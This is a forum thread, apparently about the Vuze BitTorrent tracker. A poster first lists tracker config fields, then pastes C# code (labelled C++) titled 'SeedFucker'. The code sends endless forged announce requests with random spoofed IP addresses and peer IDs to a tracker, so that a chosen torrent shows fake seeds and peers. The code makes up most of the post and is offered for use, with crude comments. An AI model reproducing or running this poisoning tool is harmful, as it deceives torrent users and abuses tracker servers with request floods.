You were right earlier, tracker.config file handles only...
date added
hash
passive (what ever that means)
persistent
Stats->
announces
Byte in/out
completed
downloaded
scraps
uploaded
status
The stuff in RED can be changed & Vuze tracker restarted... it will start with new values you use.
So from all this it seems a team effort by both tracker file & tracker software
so back to where we started... Vuze software tracker part stores seeds & peers info in the memory, I don't think that is written anywhere as file.
so only way I see to fake peers/seeds is to Extreme Mod the tracker software of Vuze.
---------- Post added at 16:13 ---------- Previous post was at 14:09 ----------
Here is a C++ code to fake peers & seeds... NOT my work!
Code:
/*
*
* This C# code sends hundreds of announce requests per minute.
*
* I know you C fanboys are pulling you hair out right now, but I don’t care. C# is the win, bitches.
*
*/
using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.Threading;
namespace SeedFucker
{
class Program
{
static void Main(string[] args)
{
// create a thread pool with 5 threads
List<Thread> tp = new List<Thread>();
for (int i = 0; i < 5; i++)
{
tp.Add(new Thread(TorrentThread));
tp[i].Start();
Thread.Sleep(10);
}
while (true)
{
Thread.Sleep(50);
}
}
static void TorrentThread()
{
// create a web client with a “no cache” policy
WebClient wc = new WebClient();
wc.CachePolicy = new System.Net.Cache.RequestCachePolicy(System.Net.Cac he.RequestCacheLevel.BypassCache);
// the infohash of the torrent we want to poison
string hash = “1d7e4cf69af1d88ba426572bfb98c4f603f5d2c1″;
// encode the hash
string hashEncoded = “”;
for (int i = 0; i < 20; i++)
{
hashEncoded += “%” + hash[i * 2] + hash[(i * 2) + 1];
}
// enter the main loop
while (true)
{
// generate a random IP address
string ip = GenerateIP();
// create a timestamp for display purposes
string time = “[" + DateTime.Now.Hour.ToString().PadLeft(2, '0') + ":" + DateTime.Now.Minute.ToString().PadLeft(2, '0') + ":" + DateTime.Now.Second.ToString().PadLeft(2, '0') + "] “;
// if completed == true then we’re pretending to be a seed. otherwise pretend to be a peer
bool completed = (RNG.Next(0, 3) == 0);
string torrentEvent = (completed ? “completed” : “started”);
// pick a random size
int left = (completed ? 0 : RNG.Next(1024 * 1024 * 2, 1024 * 1024 * 1024));
// create the url – change the announce url to whatever your particular torrent is using
string url = “http://tracker.example.com/announce?info_hash=” + hashEncoded + “&peer_id=” + RNG.Next(1000000, 9999999).ToString() + RNG.Next(100000, 999999).ToString() + RNG.Next(1000000, 9999999).ToString() + “&port=” + RNG.Next(5000, 32000).ToString() + “&uploaded=0&downloaded=0&left=” + left.ToString() + “&event=” + torrentEvent + “&numwant=5&ip=” + ip;
// attempt the announce
try
{
wc.DownloadData(url);
Console.WriteLine(time + “Sent tracker request: ” + (completed ? “Seed” : “Peer”) + ” [" + ip + "]“);
}
catch
{
}
}
}
static string GenerateIP()
{
// generate an IP in the range [50-220].[10-100].[1-255].[1-255]
return RNG.Next(50, 220).ToString() + “.” + RNG.Next(10, 100).ToString() + “.” + RNG.Next(1, 255).ToString() + “.” + RNG.Next(1, 255).ToString();
}
}
class RNG
{
private static Random _rng = new Random();
public static int Next(int min, int max)
{
return _rng.Next(min, max);
}
}
}
Bookmarks